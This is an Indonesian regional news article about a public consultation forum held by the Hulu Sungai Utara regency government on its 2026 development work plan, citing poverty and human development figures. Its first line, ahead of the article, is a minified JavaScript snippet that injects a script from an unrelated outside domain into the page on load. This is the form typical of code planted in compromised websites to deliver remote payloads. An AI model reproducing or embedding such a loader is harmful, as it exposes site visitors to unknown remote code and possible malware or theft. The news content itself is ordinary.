(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab HSU Gelar Forum Konsultasi Publik RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar forum konsultasi publik Rencana Kerja Pemerintah Daerah (RKPD) tahun 2026, di aula Dr KH Idham Chalid, Rabu (12/2/2025) siang.

Forum dihadiri Ketua DPRD HSU bersama anggota, pejabat SKPD, Forkopimda, tokoh agama, tokoh masyarakat, organisasi kemasyarakatan, dan para camat dibuka Sekretaris Daerah (Sekda) HSU, Adi Lesmana.

Turut hadir secara virtual dalam kegiatan tersebut, Bupati dan Wakil Bupati HSU terpilih H Sahrujani dan Heru Setiawan.

Sekda HSU Adi Lesmana menyampaikan bahwa forum konsultasi publik bertujuan untuk menghimpun masukan konstruktif dalam penyusunan dokumen perencanaan pembangunan daerah.

“Sesuai dengan Undang-Undang Nomor 25 tahun 2004 tentang sistem perencanaan pembangunan nasional dan Peraturan Menteri Dalam Negeri Nomor 86 tahun 2017 yang mengamanatkan bahwa rancangan awal RKPD haruslah dibahas bersama dengan semua pemangku kepentingan yang ada di Kabupaten Hulu Sungai Utara,” paparnya.

Melalui pelaksanaan konsultasi publik ini diharapkan dapat menghimpun berbagai masukan dan saran dari pemangku kepentingan khususnya terhadap rumusan permasalahan daerah, arah kebijakan pembangunan, isu-isu strategis daerah, tujuan dan sasaran pembangunan dan prioritas pembangunan daerah tahun 2026.

Adi Lesmana menekankan pentingnya kesinambungan antara perencanaan jangka pendek dan menengah, serta penganggaran dan evaluasi pembangunan secara menyeluruh guna perbaikan kearah yang lebih baik lagi.

Selain itu, Sekda HSU menyampaikan, saat ini Pemkab HSU telah berhasil menurunkan tingkat kemiskinan yang awalnya di tahun 2023 sebesar 6,25 persen dan merupakan tingkat kemiskinan tertinggi di kalsel. Kemudian di tahun 2024 berhasil menurunkan tingkat kemiskinan menjadi 5,75 persen.

“Dengan pencapaian tersebut kita tidak lagi menjadi kabupaten yang paling tinggi tingkat kemiskinannya di Provinsi Kalsel, yaitu berada di peringkat 12 dari 13 kabupaten kota,” jelasnya.

Nilai Indeks Pembangunan Manusia (IPM) Kabupaten HSU meningkat, dimana pada tahun 2023 nilai IPM sebesar 71,12 dan kemudian di tahun 2024 menjadi 71,74 atau naik sebesar 0,62 poin, dan berada di peringkat 12 di atas Kabupaten Batola.

“Mudah- mudahan dengan beberapa capaian yang meningkat ini dapat meningkatkan kesejahteraan masyarakat Kabupaten Hulu Sungai Utara,” harapnya.

Sementara Kepala Badan Perencanaan Pembangunan Daerah, Penelitian, dan Pengembangan (Bappelitbang) Kabupaten HSU, Jumadi mengharapkan pelaksanaan forum konsultasi publik ini dapat menjadi media pembentukan komitmen seluruh stakeholder dalam keterkaitan dan konsistensi antara perencanaan penganggaran pelaksanaan dan pengawasan.

“Dalam penyusunan perencanaan pembangunan tahunan setelah forum konsultasi publik ini akan dilanjutkan dengan perumusan rancangan awal RKPD, Musrenbang, RKPD perumusan, rancangan akhir sampai ditetapkan dengan Peraturan Bupati,” ungkap Jumadi. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie